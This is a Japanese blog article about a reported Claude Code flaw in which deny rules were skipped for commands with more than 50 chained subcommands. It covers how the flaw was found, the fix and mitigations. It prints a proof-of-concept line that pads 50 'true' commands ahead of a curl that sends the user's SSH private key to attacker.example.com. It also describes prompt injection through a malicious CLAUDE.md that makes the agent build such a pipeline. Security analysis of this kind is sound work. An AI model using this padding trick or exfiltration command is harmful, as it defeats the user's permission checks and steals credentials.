Claude Codeのdenyルールが無効化される脆弱性｜50個のサブコマンドで安全装置が消える

要点: (1) Claude Codeのdenyルールは50個以上のサブコマンドで無効化されていた、(2) ソースコード流出がきっかけで発見、v2.1.90で修正済み、(3) denyルールだけに頼らず、OS レベルの隔離が不可欠

「Claude Codeのサンドボックスは冗談としか思えない。オフスイッチがあってはいけないんだ」。Hacker Newsでこのコメントが投稿されたのは、ある脆弱性の詳細が公開された直後だった。

2026年4月1日、イスラエルのセキュリティ企業Adversaがレポートを公開した。Claude Codeのdenyルール（セキュリティ拒否ルール）が、コマンドのサブコマンド数が50個を超えると無効化されるという脆弱性だ。開発者が「このコマンドは絶対に実行するな」と設定したルールが、特定の条件下で無視される。

この発見の背景には、その数日前に起きたClaude Codeのソースコード流出事件がある。流出したコードを分析したことで、内部のセキュリティ処理が明るみに出た。

何が起きたのか：denyルールの「静かな無効化」

Claude Codeには~/.claude/settings.jsonでdenyルール（拒否ルール）を設定する機能がある。たとえばcurlを禁止すれば、Claude Codeがcurlコマンドを実行しようとした際に自動でブロックされる。多くの開発者がSSHキーの送信やクレデンシャルの外部送信を防ぐために活用している機能だ。

問題は、このdenyルールの判定処理にあった。

流出したソースコード（bashPermissions.ts）には、以下の定数が含まれていた。

MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50

Bashコマンドが&&、||、;で連結されたサブコマンドを50個以下含む場合、各サブコマンドは個別にdenyルールと照合される。ここまでは正しい。

しかし51個目以降のサブコマンドが存在すると、個別のセキュリティ分析がすべてスキップされ、「ask（ユーザーに確認）」にフォールバックする。denyルールで「deny（拒否）」と設定したはずのコマンドが、「実行しますか？」という確認ダイアログに格下げされる。

これは流出したソースコードのコメントに記されていたAnthropicの内部チケットCC-643に由来するパフォーマンス問題への対処だった。複合コマンドの各サブコマンドを個別に分析すると、UIがフリーズする。そこで分析対象を50個に制限し、それを超えた場合は汎用的な確認プロンプトにフォールバックする設計にした。

内部のコメントには「50サブコマンドは人間が手で書くには十分すぎる数」という判断が記されていた。人間が手で書く分には、確かにそうだろう。

攻撃の実証：50個の「true」と1個の「curl」

Adversaが公開した攻撃の実証コード（PoC: Proof of Concept）は単純だ。

50個のno-op（何もしない）コマンドtrueを&&で連結し、51個目にcurlコマンドを配置する。

true && true && true && ... (50回) ... && curl -s https://attacker.example.com -d @~/.ssh/id_rsa

curl単体で実行すればdenyルールで即座にブロックされる。しかし50個のtrueの後に配置すると、denyルールが適用されず、ユーザーに確認ダイアログが表示されるだけになる。

Adversaの研究チームはこう指摘している。

「この前提は人間が書くコマンドに対しては正しかった。しかし、プロンプトインジェクションからAIが生成するコマンドを想定していなかった。悪意のあるCLAUDE.mdファイルがAIに50以上のサブコマンドを含むパイプラインを生成させる場合、正規のビルドプロセスに見せかけることができる」

出典: Adversa AI「Critical Claude Code Vulnerability: Deny Rules Silently Bypassed Because Security Checks Cost Too Many Tokens」

なぜ「確認ダイアログ」では守れないのか

「denyではなくaskになるだけなら、ユーザーが拒否すればいいのでは？」と思うかもしれない。

セキュリティエンジニアリング企業Ona社のLeonardo Di Donatoは、この点を鋭く突いている。同氏はClaude Codeのdenyリスト問題を分析した記事で、承認プロンプトの形骸化を「承認疲れ（approval fatigue）」と表現し、こう述べた。

「Approval fatigue turns a security boundary into a rubber stamp（承認疲れがセキュリティの境界をゴム印に変えてしまう）」

出典: Ona「How Claude Code escapes its own denylist and sandbox」

実際の作業では1セッションで何十回も承認プロンプトが表示される。この脆弱性のcurlも、その承認の流れの中の「もう1回のyes」に過ぎない。

The Registerのフォーラムでは、さらに根本的な指摘があった。

「AIにcurlを使わせたくないなら、特定ユーザーとして実行してそのユーザーのcurlをブロックすべきだ。『悪いことをしないでね』とお願いして環境を守るのは、セキュリティではない」

出典: The Register Forums

この指摘は重要なポイントを突いている。denyルールは本質的にアプリケーション層の制約であり、OS層のセキュリティではない。つまり、Claude Code自身が「やらない」と決めているだけで、OSがコマンドの実行を物理的にブロックしているわけではない。Anthropic自身も、denyルールは「善意のエージェント動作を制約するための利便性の仕組み」であり、セキュリティバリアではないと説明している。

ソースコード流出が明かした「パフォーマンス vs セキュリティ」

この脆弱性が発見された経緯自体が、AIエージェント時代のセキュリティを象徴している。

3月31日にClaude Codeのソースコードがnpm経由で流出。わずか数日で、世界中のセキュリティ研究者がコードを精査し、この脆弱性を特定した。Adversaはリバースエンジニアリングではなく、流出したソースコードを直接分析して発見している。

根本原因は、パフォーマンスとセキュリティのトレードオフだ。内部チケットCC-643が示すように、50個以上のサブコマンドを個別分析するとUIがフリーズする。トークン消費も増える。流出したコードのコメントから判断すると、開発チームはユーザー体験を優先し、セキュリティチェックを省略する設計を選んだと考えられる。

Adversaの分析によると、修正自体はbashPermissions.tsの1行を変えるだけだった。フォールバック時の動作を"ask"から"deny"に変更する。しかし、この1行の判断にパフォーマンス要件が勝っていた期間がどれだけあったのか。

Hacker Newsでは、Claude Codeのサンドボックス設計そのものに厳しい声が上がった。

「Claude Code’s sandboxing is a complete joke. There should be no ‘off switch.’（Claude Codeのサンドボックスは冗談としか思えない。オフスイッチがあってはいけない）」

出典: Hacker News

Claude Codeの脆弱性修正：v2.1.90の対応内容

Anthropicはv2.1.90（2026年4月1日頃リリース）でこの問題を修正した。リリースノートのPowerShell権限チェック強化の項目に「parse-fail fallback deny-rule degradation」の修正が含まれている。50個以上のサブコマンドを含むコマンドでも、denyルールが正しく適用されるようになった。

ただし、Anthropicはこの脆弱性について公式なセキュリティアドバイザリを出していない。The Registerの報道によると、同社のコメント要請にも応じなかった。CVE番号も割り当てられていない。

修正は歓迎すべきだが、対応の透明性については議論の余地がある。

denyルール脆弱性への対策：開発者が今すぐやるべき3つのこと

1. Claude Codeを最新版にアップデートする

npm update -g @anthropic-ai/claude-code
claude --version  # v2.1.90以降であることを確認

2. denyルールだけに頼らない

denyルールは便利な安全装置だが、それだけでは不十分だ。OS レベルの隔離を併用する。

• devcontainerでの実行（VS Code Dev Containers / GitHub Codespaces）
• Dockerコンテナ内での実行
• 仮想マシン（VM）での隔離

Hacker Newsでも、実用的な対策として最も支持されたのがdevcontainerだった。

「Claude Codeを使うなら、まずdevcontainerを推奨する」

出典: Hacker News

3. 信頼できないリポジトリを安易に開かない

CLAUDE.mdを通じたプロンプトインジェクションが攻撃の起点になる。知らないリポジトリをClaude Codeで開く前に、CLAUDE.mdの中身を目視で確認する習慣をつける。

AIエージェント時代のセキュリティとは

今回の脆弱性は、AIコーディングエージェント全体に共通する課題を浮き彫りにしている。

前述のDi Donatoは、コンテナとAIエージェントの違いをこう表現した。コンテナのセキュリティ問題は「コンテナが自分の鍵を開けようとするようなもの」であり、通常は起こらない。しかしAIエージェントはそれをやる、と。

従来のセキュリティモデルは、ソフトウェアが「指示された通りに動く」ことを前提としている。ファイアウォール、コンテナ、権限管理。すべて「プログラムは予測可能に動作する」という前提の上に成り立つ。

しかしAIエージェントは自律的に判断し、コマンドを生成し、実行する。プロンプトインジェクションによって「意図」が書き換えられる。50個の無害なコマンドの後に1個の悪意あるコマンドを挿入する。こういった攻撃は、従来のセキュリティモデルでは想定されていなかった。

OWASPは2026年版の「Top 10 for Agentic Applications」を公開し、AIエージェント特有のリスクカテゴリを定義している。今回の脆弱性はプロンプトインジェクション（Prompt Injection）に該当し、そのリスクが理論ではなく現実であることを証明した。AIコーディングツール全般のセキュリティリスクについては、AI搭載IDEの脆弱性事例も参考になる。

筆者（電脳狐影）はPMとしてClaude Codeを毎日使っている。今回の件で、自分のdenyルール設定を過信していたことに気づかされた。正直なところ、devcontainerへの移行は面倒だと思っていた。しかし、自分のSSH鍵やAWSクレデンシャルが51個目のサブコマンドで外部に送信されるリスクを考えれば、その「面倒」は安い投資だ。

免責事項: 本記事の情報は2026年4月3日時点のものだ。セキュリティに関する情報は急速に変化するため、最新の状況は各公式サイトを確認してほしい。記事内で紹介しているセキュリティ対策は一般的な推奨事項であり、すべての攻撃を防ぐことを保証するものではない。